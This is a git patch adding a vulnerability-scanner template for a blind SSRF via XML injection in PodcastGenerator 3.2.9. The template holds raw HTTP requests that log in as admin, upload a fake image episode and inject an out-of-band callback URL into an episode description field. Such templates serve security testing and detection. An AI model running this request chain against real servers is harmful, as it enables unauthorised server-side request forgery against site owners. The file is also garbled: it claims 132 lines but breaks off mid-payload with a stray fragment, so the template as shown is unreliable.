From 4c876b245262281b0366e0067208f0b8f2b488ea Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Mon, 30 Oct 2023 17:48:57 +0530 Subject: [PATCH] Create podcast-generator-ssrf.yaml --- .../other/podcast-generator-ssrf.yaml | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 http/vulnerabilities/other/podcast-generator-ssrf.yaml diff --git a/http/vulnerabilities/other/podcast-generator-ssrf.yaml b/http/vulnerabilities/other/podcast-generator-ssrf.yaml new file mode 100644 index 0000000000..70e0113a52 --- /dev/null +++ b/http/vulnerabilities/other/podcast-generator-ssrf.yaml @@ -0,0 +1,132 @@ +id: podcast-generator-ssrf + +info: + name: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection + author: ritikchaddha,MrHarshvardhan + severity: high + description: | + This is a SSRF vulnerability via Xml injection found in PodcastGenerator 3.2.9. + reference: + - https://www.exploit-db.com/exploits/51565 + - https://mirabbasagalarov.medium.com/podcastgenerator-3-2-9-blind-ssrf-via-xml-injection-3795804467df + - https://github.com/PodcastGenerator/PodcastGenerator + metadata: + verified: true + tags: podcastgenerator,ssrf,authenticated + +variables: + string: "{{rand_text_alpha(7)}}" + +requests: + - raw: + - | + POST /podcast/PodcastGenerator/admin/login.php?login=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + - | + GET /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1 + Host: {{Hostname}} + + - | + POST /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1WfeHRSBn1aNkQQA + + ------WebKitFormBoundary1WfeHRSBn1aNkQQA + Content-Disposition: form-data; name="file"; filename="{{string}}.jpg" + Content-Type: image/jpeg + + {{rand_text_alpha(50)}} + {{rand_text_alpha(50)}} + + ------WebKitFormBoundary1WfeHRSBn1aNkQQA + Content-Disposition: form-data; name="title" + + {{string}} + ------WebKitFormBoundary1WfeHRSBn1aNkQQA + Content-Disposition: form-data; name="shortdesc" + + test]]>http://{{interactsh-url}}' + internal: true